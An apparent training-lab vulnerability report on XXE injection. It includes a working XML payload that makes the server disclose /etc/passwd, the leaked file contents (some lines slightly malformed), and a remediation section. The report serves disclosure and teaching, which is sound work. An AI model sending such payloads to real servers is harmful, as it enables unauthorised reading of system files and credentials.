

XML External Entity (XXE) Injection Leading to Arbitrary Local File Disclosure

Summary

The application is vulnerable to an **XML External Entity (XXE)** Injection due to insecure XML parser configuration. An attacker can supply a crafted XML document containing an external entity, causing the server to process local file references and disclose sensitive files from the underlying operating system.

During testing, the XML parser successfully resolved an external entity referencing the local file `/etc/passwd` and returned its contents in the server response, confirming arbitrary local file disclosure.

Vulnerability Type

XML External Entity (XXE) Injection

Severity

High

Steps to Reproduce

1. Intercept the XML request.
 2. Replace the XML body with the following payload.
 3. Forward the request to the server.
 4. Observe that the server resolves the external entity and returns the contents of a local system file.
-

Proof of Concept

Request

```
POST /stockCheck HTTP/1.1
Host: target.com
Content-Type: application/xml
```

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>3</storeId>
</stockCheck>
```

Response

Invalid product ID:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin:/nologin
sys:x:3:3:sys:/dev:/usr/sbin:/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin:/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin:/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin:/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin:/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin:/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin:/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin:/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin:/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin:/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin:/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin:/nologin
gnats:x:41:41:Gnats Bug-Reporting System:/var/lib/gnats:/usr/sbin:/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin:/nologin
_apt:x:100:65534:./nonexistent:/usr/sbin:/nologin
peter:x:12001:12001:./home/peter:/bin/bash
carlos:x:12002:12002:./home/carlos:/bin/bash
user:x:12000:12000:./home/user:/bin/bash
elmer:x:12099:12099:./home/elmer:/bin/bash
academy:x:10000:10000:./academy:/bin/bash
messagebus:x:101:101:./nonexistent:/usr/sbin:/nologin
dnsmasq:x:102:65534:dnsmasq:/var/lib/misc:/usr/sbin:/nologin
systemd-timesync:x:103:103:Systemd Time Synchronization:/run/systemd:/usr/sbin:/nologin
systemd-network:x:104:105:Systemd Network Management:/run/systemd:/usr/sbin:/nologin
systemd-resolve:x:105:106:Systemd Resolver:/run/systemd:/usr/sbin:/nologin
mysql:x:106:107:MySQL Server:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator:/var/lib/postgresql:/bin/bash
```

```
usbmux:x:108:46:usbmux daemon:/var/lib/usbmux:/usr/sbin:/nologin
rtkit:x:109:115:RealtimeKit:/proc:/usr/sbin:/nologin
mongodb:x:110:117:/var/lib/mongodb:/usr/sbin:/nologin
avahi:x:111:118:Avahi mDNS daemon:/var/run/avahi-daemon:/usr/sbin:/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service:/home/cups-pk-helper:/usr/sbin:/nologin
geoclue:x:113:120:/var/lib/geoclue:/usr/sbin:/nologin
saned:x:114:122:/var/lib/saned:/usr/sbin:/nologin
colord:x:115:123:Colour Management Daemon:/var/lib/colord:/usr/sbin:/nologin
pulse:x:116:124:PulseAudio daemon:/var/run/pulse:/usr/sbin:/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
```

The response confirms that the XML parser resolves external entities and allows arbitrary local file disclosure from the underlying operating system.

Impact

An attacker can exploit this vulnerability to access arbitrary files on the server without authorization. Depending on the deployment environment, the attacker may be able to:

- Read sensitive operating system files.
- Retrieve application configuration files.
- Obtain database credentials.
- Expose API keys, authentication tokens, and application secrets.
- Access environment variables containing sensitive information.
- Leak cloud service credentials.
- Collect information that can facilitate privilege escalation or lateral movement.
- Perform Server-Side Request Forgery (SSRF) if remote external entities are permitted by the XML parser.

Successful exploitation may significantly increase the attack surface and enable additional attacks against the application and its supporting infrastructure.

Risk

Risk Level: High

The vulnerability allows unauthorized disclosure of sensitive server-side files, potentially exposing credentials, configuration data, and other confidential information. The leaked information can be used to compromise backend systems, gain unauthorized access to internal resources, or chain additional vulnerabilities for complete application compromise.

Remediation

- Disable DTD processing if it is not explicitly required.
- Disable external entity resolution within the XML parser.
- Disable external parameter entities and external DTD loading.
- Configure the XML parser to operate in secure processing mode.
- Validate XML input using a strict schema.
- Reject XML documents containing DOCTYPE declarations when unnecessary.
- Avoid reflecting parser output or sensitive file contents in HTTP responses.
- Prefer JSON instead of XML where XML functionality is not required.
- Keep XML parsing libraries and dependencies updated to the latest secure versions.

Security Recommendations

- Use XML parsers with secure-by-default configurations.
- Apply the principle of least privilege so the application cannot access unnecessary system files.
- Store sensitive credentials outside of web-accessible locations.
- Implement centralized input validation and secure XML processing.
- Monitor and log malformed XML requests to detect attempted exploitation.
- Perform regular security testing to identify XML-related vulnerabilities before deployment.

Conclusion

The application is vulnerable to XML External Entity (XXE) Injection due to insecure XML parser configuration. The successful disclosure of `/etc/passwd` demonstrates that external entities are processed without restriction, allowing arbitrary local file disclosure. Remediating this issue requires disabling external entity processing, enforcing secure XML parsing, and validating untrusted XML input before processing.

